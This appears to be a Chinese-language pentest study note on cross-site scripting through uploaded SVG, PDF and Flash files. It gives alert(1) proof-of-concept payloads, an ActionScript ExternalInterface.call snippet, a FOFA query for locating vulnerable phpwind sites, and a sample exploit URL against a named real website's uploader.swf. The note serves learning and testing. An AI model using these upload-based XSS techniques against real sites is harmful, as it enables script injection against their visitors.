第53天:XSS跨站&SVG&PDF&Flash&MXSS&UXSS&配合上传&文件添加脚本

XSS的分类:https://www.fooying.com/the-art-of-xss-1-introduction/

SVG—XSS

1
2
3
4
5
6
7
8
9
10
SVG(Scalable Vector Graphics)是一种基于 XML 的二维矢量图格式,和我们平常
用的 jpg/png 等图片格式所不同的是 SVG 图像在放大或改变尺寸的情况下其图形质量不
会有所损失,并且我们可以使用任何的文本编辑器打开 SVG 图片并且编辑它,目前主流
的浏览器都已经支持 SVG 图片的渲染。

poc:
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
<script>alert(1)</script>
</svg>

image-20250814195824012

往里面插入js恶意代码就可以了,然后本地访问:

image-20250814195846567

通过文件上传功能上传一个SVG文件(该文件已经提前植入XSS代码),然后在访问这个上传后的svg地址即可触发上图效果

PDF-XSS

1
2
3
1、创建PDF,加入动作JS
2、通过文件上传获取直链
3、直链地址访问后被触发

image-20250814200737674

image-20250814200813654

添加一个javascript动作

image-20250814200842270

1
app.alert(1)

image-20250814200724089

FLASH-XSS

image-20250814201626494

image-20250814201659066

按下F9

image-20250814201854976

1
2
3
4
//取m参数
var m=_root.m;
//调用html中Javascript中的m参数值
flash.external.ExternalInterface.call(m);

ctrl+回车,如果能正常动就说明没有问题

image-20250814202006412

image-20250814202023916

没有问题就进行发布:

image-20250814202059351

image-20250814202139241

然后要放到对应可以解析的网站下面,进行访问:

1
触发:?m=alert(/xss/) 例如:?m=alert(1)

测试swf文件xss安全性:

1
2
3
4
xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等
项目:JPEXS Free Flash Decompiler
通过FOFA语句:phpwind && icon_hash="-1005349246"可以查找到许多存在Flash反编译安全性的网址
通过目录扫描:https://www.acg-123.org/images/uploader.swf 发现对应的目录位置

image-20250814212939153

参数可控,就可以进行传参:

1
http://yatming.com/images/uploader.swf?jsobject=alert(1)

经过测试,好像只有老版本的浏览器可以执行,其他浏览器访问的话是直接下载。